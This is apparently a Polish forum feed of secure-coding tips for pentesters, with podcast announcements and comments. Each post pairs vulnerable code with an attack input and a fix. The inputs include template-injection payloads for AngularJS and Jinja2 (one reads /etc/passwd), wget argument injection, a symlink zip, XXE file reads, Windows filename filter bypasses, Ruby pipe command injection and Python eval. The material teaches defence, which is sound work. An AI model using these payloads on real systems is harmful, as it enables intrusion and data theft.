Jak zatem doprowadzić do wykonania kodu #js ?
W przykładzie znajduje się również linijka, w której używam #angular
Jeśli wasza strona również korzysta z tego frameworka zasady zabezpieczania przed XSS nieco się zmieniają.
Tutaj bowiem podobnie jak w atakachserver side template injection
można używać specjalnych poleceń - zawartych pomiędzy podwójnymi cudzysłowami.
Najprostszą metodą sprawdzenia czy nasza strona jest podatna na ten atak to skorzystanie z matematyki:?s={{5-2}}
Jeżeli strona jest podatna - otrzymamy wynik odejmowania.
Przedstawiany atak nazywa się:Client Side Template Injection
.
Od wersji1.6
do wykonywania kodu można używać:
?s={{constructor.constructor('alert(1)')()}}
W przypadku innych wersji warto skorzystać z tej tabelki.
Jak ochronić się przed tym atakiem?
W miejscu gdzie dane są podawane i wyświetlane przez użytkownika należy dodać specjalny argument:
<div ng-app ng-non-bindable>
Teraz przekazywany przez nas parametr jest wyświetlany jako tekst.
#hacking #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki pokaż całość-
Ale API nie powinno wiedzieć nic o kliencie i na odwrót.
@veranoo: Ale oczywiście, pełna zgoda. Nie zrozumiałem o co dokładnie ci chodziło, stąd prośba o rozwinięcie tematu.
-
-
Nowości ze świata bezpieczeństwa komputerowego w formie #podcast - Szurkogadanie
W tym odcinku:
- phising na użytkowników Steam przy pomocy fałszywego obrazka logowania – czyli o atakupicture in picture
- do czego nie używać serwisu Trello – o wyciekach danych z publicznie dostępnych tablic
- czy menadżery haseł na Androida są bezpieczne – jak aplikacje z fałszywym identyfikatorem mogą wykraść nasze hasła
- dlaczego Facebook zresetował tokeny dostępowe 50 milionom użytkowników – o błędzie w funkcjonalności „wyświetl jako”
Transkrypcja dostępna tutaj.
Można słuchać na Apple Podcasts, Google Podcasts oraz Spotify.
#od0dopentestera #security #bezpieczenstwo #informatyka #it #nauka #technologia #ciekawostki pokaż całość-
@Cesarz_Polski: podcast jest oparty na weekendowej lekturze z3s - informację o tym znajdziesz na samym początku materiału oraz w opisie filmu na yt. Kawałki kodu natomiast to kompilacja różnych typów błędów na które można się napotkać podczas pentestu aplikacji webowych.
-
-
Generowanie wartości losowych w komputerze nie jest tak proste jak rzut kostką w rzeczywistości.
Dlaczego więc nie warto używaćRandom
w #java ? #od0dopentestera
Każdy szanujący się serwis posiada funkcjonalność resetowania hasła.
Użytkownik podaje na stronie swój adres email powiązany z kontem.
W tym momencie serwer sprawdza czy taki użytkownik istnieje w bazie danych.
Jeśli tak - generuje unikalny ciąg, który jest następnie zapisywany i wysyłany w emailu.
Następnie użytkownik odczytuje email i klika w zawarty tam odnośnik z zapisanym unikalnym kluczem.
Serwer sprawdza czy unikalny ciąg znajduje się w bazie danych - i jeśli wszystko się zgadza pozwala na zmianę hasła.
Nasz kod generujący unikalny token wygląda tak:
static Random r = new Random();
}
static String getToken() {
return Integer.toString(r.nextInt());
Gdzie zatem znajduje się dzisiejszy błąd?
KlasaRandom
jest generatorem liczb pseudolosowych.
Oznacza to że na podstawie niewielkiej ilości informacji - tak zwanego ziarna generuje ona deterministycznie kolejne liczby pseudolosowe.
Ziarno to może być zdefiniowane przez użytkownika - lub też jak w naszym przypadku ustawione automatycznie przez Jave.
Wystarczy więc odgadnąć jakie ziarno zostało użyte aby móc generować kolejne liczby tokena na własnym komputerze.
Do przywrócenia ziarna użyjemy kodu dostępnego na forum stackoverflow.
Do swojego działania potrzebuje on 2 kolejnych liczb wygenerowanych przez daną instancje klasy Random.
Jak je otrzymać? W przypadku funkcjonalności przypominania hasła jest to bardzo proste.
Wystarczy bowiem dwa razy poprosić o reset konta, do którego posiadamy uprawnienia a za trzecim razem spróbować zresetować konto admina.
Następnie odczytujemy 2 pierwsze wartości z maila, do którego dostęp posiadamy i przekazujemy je do funkcji.
Właśnie wygenerowaliśmy unikalny identyfikator, którego można by było użyć do resetowania hasła administratora.
Oczywiście zakładam tutaj, że mamy szczęście i pomiędzy naszymi próbami nikt inny nie wykonał tej samej akcji.
Jak zatem zabezpieczyć się przed tym problemem?
Zawsze używać klasySecureRandom
.
Identyczny problem istnieje również z klasąRandomStringUtils
.
Tam jednak odzyskanie ziarna trwa nieco dłużej.
#security #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki pokaż całość-
@login-jest-zajety: będzie lepiej. Z tym, że a) filtr nie będzie w 100% skuteczny bo tylko wytłumi tę częstotliwość o ileś dB a przy okazji sąsiednie b) pozostaną inne częstotliwości. Wszystko zależy jak blisko ideału chcemy być.
-
@login-jest-zajety: @ProfesorBigos: @zarowka12: @megawatt: @Przegrywek123: jest jeszcze OneRNG Open Hardware Random Number Generator - http://onerng.info/ ale ciężko powiedzieć czy ktoś używa tego w profesjonalnych zastosowaniach
-
-
W czasach
spaghetti code
warstwa aplikacji przeplatała się z warstwą widoku czyniąc kod trudnym do utrzymania.
Obecnie używamy zaawansowanych silników szablonów np. Jinja2.
Można powiedzieć, że silniki te same w sobie są swego rodzaju językami programowania.
Umożliwiają bowiem dostęp do wielu potencjalnie niebezpiecznych czynności.
Dzisiaj w #od0dopentestera o SSTI czyli Server-Side Template Injection.
imie = request.values.get('imie')
return Jinja2.from_string('Hej ' + imie).render()
Pobieramy tutaj parametrimie
a następnie wyświetlamy go używając funkcjifrom_string
.
Dlaczego nie należy tak robić?
Z dokumentacji funkcjifrom_string
możemy wyczytać, że parametrsource
, który ona przyjmuje to treść szablonu, który jest następnie procesowany i zwracany jako obiektTemplate
.
Jeśli zatem jest to treść szablonu - ciąg tych znaków może zawierać dowolne funkcję, które ten silnik szablonów obsługuje.
A ponieważ ciąg ten jest kontrolowany przez użytkownika - przy pomocy parametruimie
- może on wykonać dowolny kod, na jaki pozwala silnik szablonów.
Aby to potwierdzić wystarczy wysłać:
?imie={{7*'7'}}
Lub też odczytać dowolny plik z systemu:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
Podsumowując: użytkownik nie powinien podawać treści szablonu - chyba, że postaramy się o dodatkową weryfikację.
Może jednak podawać parametry, które zostaną przez szablon wyświetlone.
Więcej informacji: tutaj oraz tutaj.
Nagroda za podobny błąd od Uber.
#python #hacking #webdev #programowanie #informatyka #it #nauka #programista15k pokaż całość -
Dzisiaj w #od0dopentestera różnica pomiędzy
escapeshellcmd
orazescapeshellarg
.
Wywoływanie systemowych komend z poziomu #php brzmi jak proszenie się o kłopoty:
$komenda = 'wget --directory-prefix=..\temp '.$url;
system(escapeshellcmd($komenda));
Ten kod umożliwia pobranie treści dowolnej strony internetowej do katalogutemp
.
#programista użył jednak błędnej funkcji.
escapeshellcmd
zapewnia, że wykonana zostanie tylko jedna komenda.
Ale - komenda ta może zawierać nieskończoną liczbę parametrów.
Atakujący może zatem podać kolejny parametr--directory-prefix
wskazujący na inny katalog.
wget
pozwala na podanie wielu tych samych parametrów, ale bierze pod uwagę tylko ostatni z nich.
Możemy zatem ściągnąć dowolny plik z rozszerzeniemphp
do dowolnego katalogu na serwerze.
?url=--directory-prefix=. http://serwer/exploit.php
Jak zatem zabezpieczyć się przed tym atakiem?
Stosować funkcjeescapeshellarg
.
Ona to zapewnia nas, że użytkownik przekazał dokładnie jeden parametr do wybranej przez nas komendy.
Nie może podać dodatkowego parametru oraz wykonać innej komendy.
Przykład błędu w GitList oraz szersze wyjaśnienie i więcej przykładów w tym artykule.
#webdev #programowanie #informatyka #it #nauka #gruparatowaniapoziomu pokaż całość -
Jak co tydzień w #od0dopentestera #podcast Szurkogadanie – czyli przegląd najciekawszych informacji z branży bezpieczeństwa.
W tym odcinku:
- jeżeli używasz ekranu dotykowego i #windows Twoje hasła i prywatne wiadomości mogły zostać zapisane do plikuwaitlist.dat
aby usprawnić rozpoznawanie tekstu pisanego
- atak na serwer www przy użyciu funkcji eksportu do PDF – opowieść o tym dlaczego warto monitorować zewnętrzne biblioteki używane w naszym oprogramowaniu
- jak Amazon radzi sobie ze kradzieżą paczek przez kurierów - czyli jak wysyłając puste przesyłki sprawdzić lojalność swoich pracowników
Transkrypcja dostępna tutaj
#ciekawostki #gruparatowaniapoziomu #it #informatyka #programowanie #technologia pokaż całość -
Tym razem w #od0dopentestera pod lupę weźmiemy #php
Czasami potrzebujemy umożliwić użytkownikowi pobranie plików z serwera.
Może on pobrać wszystkie pliki z konkretnego katalogu oprócz jednego - nazwanego u nassekret.txt
$plik = basename((string) $ _GET['plik']);
if (stristr($plik, 'sekret.txt') === false) {
echo file_get_contents ($plik);
}
Funkcjabasename
usuwa wszystkie znaki../
oraz..\
z parametru plik.
Dzięki temu jesteśmy pewni, że podany przez użytkownika adres do pliku nie zawiera katalogów nadrzędnych.
Następnie przy pomocy funkcjistristr
sprawdzamy, czy podany ciąg nie zawiera słowasekret.txt
Funkcja ta ma w swojej nazwiei
co oznacza, ze nie rozróżnia wielkich i małych liter.
Zabezpieczamy się zatem przed sytuacją w której użytkownik podał by nazwę naszego pliku zaczynając od wielkiej litery i w ten sposób ominął filtr.
Gdzie zatem znajduje się dzisiejszy błąd?
Jak możemy przeczytać w dokumencie Oddities of PHP file access in Windows:
<< oznacza Wild Card
" zamieniany jest na kropkę
> to pytajnik oznaczający dowolny jeden znak
Filtr na platformie #windows ominąć można więc na co najmniej 3 sposoby:
?plik=sekret<<
?plik=sekret"txt
?plik=sekret.tx>
#webdev #programowanie #programista15k #informatyka #it #nauka #gruparatowaniapoziomu pokaż całość-
@progreso: http://github.com/perusio/nginx-auth-request-module to jest najlepsze rozwiązanie do pobierania plików, normalnie masz zapytanie z /download/plik.txt i wewnętrznie na poziomie nginxa zapytanie idzie o autoryzacje
-
@Jurigag: Zdaje sobie sprawę, że jest wiele innych alternatywnych/lepszych rozwiązań problemu zaproponowanego w przykładzie. Ale nie taki był jego cel. Miał on tylko zobrazować istnienie mało znanego zachowania danej funkcji.
-
-
Kolejna porcja błędów programistycznych #od0dopentestera
Dzisiaj nietypowo, nie będziemy bowiem przyglądać się konkretnemu językowi #programowanie a komendzieunzip
z #linux
Czasami wymagania biznesowe sprawiają, że musimy dodać obsługę archiwów do naszego serwisu internetowego.
Mogą to być plikizip
,rar
czy teżtar
.
Załóżmy, że prowadzimy serwis, w którym można tworzyć galerie.
Użytkownik może wysłać kilka zdjęć na raz przesyłając do nas archiwumzip
.
Plik ten jest wypakowywany po stronie naszego serwera przy użyciuunzip
do tymczasowego katalogu a następnie procesowane są wszystkie zdjęcia z rozszerzeniem.png
.
Gdzie czyha niebezpieczeństwo?
W linuxie oprócz standardowego pliku istnieją symlinki - czyli pewnego rodzaju skróty, nie posiadające własnej treści a odnoszące się do innego zasobu.
Tworzymy więcskrot.png
, który to będzie się odnosił do pliku/etc/passwd
zawierającego informacje o kontach użytkownika w danym systemie.
ln -s /etc/passwd skrot.png
Następnie tworzymy archiwum z tym plikiem:
zip --symlinks archiwum.zip skrot.png
Teraz jeśli serwer wypakuje go przy użyciu:
unzip archiwum.zip -d temp
użytkownik wchodząc na dane zdjęcie otrzyma treść/etc/passwd
.
Jak zatem zabezpieczyć się przed tym atakiem?
Najlepiej korzystać z modułów wypakowywania plików dostępnych w większości języków programowania.
Warto poszukać tam opcji, która wyłączy obsługę dowiązań symbolicznych.
Dodatkowo, przed każdą operacją na pliku warto sprawdzić, czy nie jest to symlink.
#informatyka #it #hacking #bezpieczenstwo pokaż całość-
@wytrzzeszcz: to wtedy nie będziesz mógł odczytywać plików z tego jednego katalogu przy użyciu tej metody.
-
-
Cześć!
Dzisiaj w #od0dopentestera o tym jak odczytać tajne dane z serwera #java przy pomocy plików XML.
public static void main(String[] args) {
try {
File xmlFile = new File("plik.xml");
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
Document doc = dBuilder.parse(xmlFile);
System.out.println(doc.getDocumentElement().getTextContent());
} catch (Exception e) {
e.printStackTrace();
}
}
}
Przykładowy plik XML wygląda mniej więcej tak:
<?xml version="1.0"?>
<test>demo</test>
Co jeślidemo
zastąpimy dłuższym ciągiem znaków, który dodatkowo będzie powtarzał się w tym pliku kilkanaście razy?
Na pomoc przychodzą nam encję - czyli coś podobnego do funkcjiznajdź i zamień
w notatniku.
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY zamien "Bardzo długi tekst">
]>
<test>&zamien;</test>
Parser ten plik będzie bowiem widział następująco:
<test>Bardzo długi tekst</test>
Twórcy standardu wpadli na genialny pomysł, aby treść encji można było przechowywać w zewnętrznych plikach.
I właśnie ta funkcjonalność prowadzi do ataku XXE czyliXML External Entity
.
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "sekret.txt">
]>
<test>&xxe;</test>
Używając takiej składni atakujący może pobrać dowolny plik z naszego serwera.
Elementtest
bowiem będzie teraz zawierał treść plikusekret.txt
.
Jak zatem chronić się przed tego rodzaju atakiem?
Jednym z rozwiązań jest uruchomienie specjalnego trybuSecure processing
:
dbFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Błędy tego rodzaju możliwe są w każdym języku programowania, który posiada obsługę XML.
Podobna podatność w PHP.
#programowanie #informatyka #it #hacking #bezpieczenstwo pokaż całość -
W dzisiejszym odcinku #od0dopentestera #podcast Szurkogadanie – czyli o bezpieczeństwie dla wszystkich.
W tym odcinku dowiesz się jak przestępcy używają serwisu Technet #microsoft do prób wyłudzeń na suport techniczny a także dlaczego usypianie firmowego komputera z tajnymi danymi nie jest najlepszym pomysłem z powodu ataku Cold Boot.
Opowiadam również co to jestRubber ducky
– czyli wirtualna klawiatura używana podczas pentestów oraz co zmieniło się w najnowszym Safari na #ios i co wspólnego ma to z naszym bankiem.
Jeśli nie masz czasu na czytanie dziesiątek artykułów a chciałbyś być na bieżąco - ta forma może być dla Ciebie.
Co tydzień w poniedziałek o 8 rano publikuje audio z około 10 najciekawszymi moim zdaniem wiadomościami ze świata #security.
Skomplikowane tematy staram się tam tłumaczyć w prosty sposób aby były zrozumiałe nawet dla mniej technicznych użytkowników.
Większość linków pochodzi z Weekendowej Lektury #zaufanatrzeciastrona oraz #reddit
Całość trwa nie dłużej niż 15 minut – więc idealnie nadaje się do słuchania w drodze do pracy.
Jeśli wolisz formę tekstową, transkrypcja nagrania jest dostępna tutaj.
#informatyka #programowanie #technologia #ciekawostki #gruparatowaniapoziomu pokaż całość-
@TheDudee: Podcast dostępny jest również na http://anchor.fm/kacperszurek/ co oznacza ze można go słuchać na Spotify, Apple Podcasts, Google Podcasts, Stitcher i kilku innych serwisach.
+: N.....s, TheDudee
-
-
Cześć!
Kontynuujemy naszą podróż w cyklu #od0dopentestera dzisiaj język #ruby
Czasami w naszych firmach nie możemy wejść na niektóre strony ponieważ są one zablokowane na firewallu.
Dlatego też stworzymy naszą własną bramkę proxy.
class ProxyServlet < WEBrick::HTTPServlet::AbstractServlet
def do_GET (request, response)
open(request.query["url"]) do |http|
result = http.read
response.body = result
end
end
end
Użytkownik podaje parametrurl
który jest następnie przekazywany do funkcjiopen
.
Ona to pobiera treść witryny i wyświetla jej treść na stronie.
W tym kodzie znajdują się aż 2 podatności.
Pierwsza:open
traktuje ciąg znaków zaczynający się odpipe
(czyli|
) jako komendę, którą ma wykonać w konsoli.
Jeżeli więc przekażemy:?url=|cmd
to zamiast treści strony internetowej wyświetlona zostanie lista plików w katalogu.
Więcej o tym błędzie można przeczytać tutaj.
Druga podatność to #ssrf
Nic bowiem nie stoi na przeszkodzie aby atakujący jako adres podałhttp://localhost
.
Jeśli więc na naszym serwerze znajduje się jakaś inna usługa, która nie jest dostępna z zewnątrz, można podglądnąć jej treść.
#programowanie #informatyka #it #hacking #bezpieczenstwo pokaż całość -
Cześć!
W dzisiejszym odcinku #od0dopentestera zaczniemy od języka #python
Co złego może być w 2 linijkach:
imie = input("Twoje imie:")
print ("Witaj ", imie)
Funkcjainput
to tak naprawdęeval
połączony zraw_input(treść)
co można sprawdzić tutaj.
Możliwe jest zatem wykonanie dowolnego kodu,eval
służy bowiem do dynamicznego wykonywania treści.
Dla przykładu wyświetlimy zawartość bieżącego katalogu.
Przekazywany przez nas ciąg znaków musi się zmieścić w 1 linijce tekstu.
Nie możemy zatem użyćimport os
a następnie wywołać funkcjisystem
.
Skorzystamy z alternatywnej składni:__import__('os')
Oczywiście to tylko przykład, używając tego schematu możemy wykonać dowolną funkcję z dowolnego modułu.
Jak zatem poprawić ten kod? Wystarczy zamienićinput
naraw_input
.
Co ciekawe kod ten zadziała jedynie w Python 2.
#programowanie #informatyka #webdev pokaż całość -
Cześć. Ostatnio są tutaj popularne różnego rodzaju bootcampy. Ja jednak chciałbym zainteresować #programista15k a w szczególności programistów #javascript którzy posiadają już pewną wiedzę z #programowanie i chcieli by poszerzyć swoje umiejętności z #bezpieczenstwo aby tworzyć bezpieczny kod.
Na początek 4 popularne błędy w paczkach NPM do #nodejs
W tym filmie zobaczysz dlaczego łączeniefs.readfile
zreq.url
nie jest najlepszym pomysłem oraz dowiesz się co to jest atakredos
.
Jeśli interesują Cię materiały tego rodzaju zapraszam do subskrybowania tagu #od0dopentestera gdzie będę publikował błędne kawałki kodu i w prostych słowach opisywał dlaczego dana konstrukcja jest niebezpieczna. #informatyka pokaż całość-
@tt_2: Polecam zainteresować się certyfikatem OSCP - http://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/ i nie chodzi tu tylko o sam egzamin (chociaż jego zdanie w pewien sposób potwierdza, że nie tylko znasz czystą teorię ale także potrafisz wykorzystać ją w praktyce) a o dostęp do laboratorium, które symuluje prawdziwe środowisko jakie można spotkać w firmach. W ten sposób uczysz się na przykładach. pokaż całość
+: tt_2
-